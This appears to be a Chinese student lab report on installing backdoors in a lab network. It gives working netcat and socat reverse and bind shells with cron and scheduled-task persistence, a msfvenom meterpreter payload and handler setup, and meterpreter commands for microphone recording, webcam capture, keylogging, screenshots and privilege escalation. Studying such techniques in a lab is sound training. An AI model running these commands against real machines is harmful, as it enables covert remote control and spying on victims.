实验内容:
任务一:使用netcat获取主机操作Shell,cron启动
任务二:使用socat获取主机操作Shell, 任务计划启动
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
基础问题问答:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
捆绑在软件中
注入在可执行文件里
注入在office文件的宏里面
(2)例举你知道的后门如何启动起来(win及linux)的方式?
更改名字伪装成其他程序
Linux可以使用cron启动
Windows下通过任务计划来启动后门程序
(3)Meterpreter有哪些给你映像深刻的功能?
获取摄像头权限进行拍照
获取麦克风权限进行录音
(4)如何发现自己有系统有没有被安装后门?
杀毒软件进行扫描,没做过免杀的直接就能被扫出来
观察进程以及端口,看看有没有异常
在Windows下使用ipconfig查看本机IP
使用ncat.exe程序打开监听ncat.exe -l -p 5328
在kali中反弹连接Windows,netcat 192.168.1.200 5328 -e /bin/sh,使用-e选项执行shell程序
Windows成功获得kali的shell
Linux获得Windows Shell
由于我是直接从其他同学处拷贝的资源,所以图中含有其他同学做好的文件
在kali中使用ifconfig查看IP
打开监听nc -l -p 5328
在Windows中反弹连接kali
kali成功获得Windows的命令提示
使用nc传输数据
Windows下监听5328端口,ncat.exe -l 5328
kali反弹连接到Windows的5328端口,nc 192.168.1.200 5328
连接建立成功,双方可以相互传输数据
使用nc传输文件
Windows下监听5328端口,并把收到的数据保存到file1.out中,ncat.exe -l 5328 > file1.out
kali反弹连接到Windows的5328端口,nc 192.168.1.200 5328 < file1.in
连接建立成功,Win可以收到kali发来的文件。
实验步骤:
任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
在Windows系统下,监听5328端口。
在Kali环境下,用crontab -e指令编辑一条定时任务。
在最后一行添加57 * * * * /bin/netcat 192.168.1.156 5328 -e /bin/sh,意思是在每个小时的第55分钟反向连接Windows主机的5328端口。
时间到达58分钟时反向连接Windows主机的5328端口
实验一完成。
任务二:使用socat获取主机操作Shell, 任务计划启动
socat:
- socat是ncat的增强版,它使用的格式是socat [options]
,其中两个address是必选项,而options是可选项。 - socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- 搜索打开“计算机管理”
在“任务计划程序”中“创建任务”
填写任务名->新建一个触发器
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5328 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5328,同时把cmd.exe的stderr重定向到stdout上:
创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
此时,在Kali环境下输入指令socat - tcp:192.168.1.200:5328,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5328端口,此时可以发现已经成功获得了一个cmd shell
第二个任务完成。
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=5328 -f exe > 20165328_backdoor.exe,可见已经生成了后门程序“20165328_backdoor.exe”
在Windows下执行ncat.exe -l 5328 > 20165328_backdoor.exe,这样被控主机就进入了接收文件模式。
在Linux中执行nc 192.168.1.200 5328 < 20165328_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP
传送接收文件成功,如下图所示
在Kali上使用msfconsole指令进入msf控制台。
输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.1.200,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5328,同样要使用相同的端口
运行Windows下的后门程序
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
第三个任务完成。
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic指令可以截获一段音频。
使用webcam_snap指令可以使用摄像头进行拍照
使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
使用screenshot指令可以进行截屏,效果如下:
先使用getuid指令查看当前用户,使用getsystem指令进行提权
第四个任务完成。
实验中遇到的问题及解决方法:
由于之前没有关闭防火墙和安全管家,导致之前的实验问题百出,关闭后就能够正常进行实验了。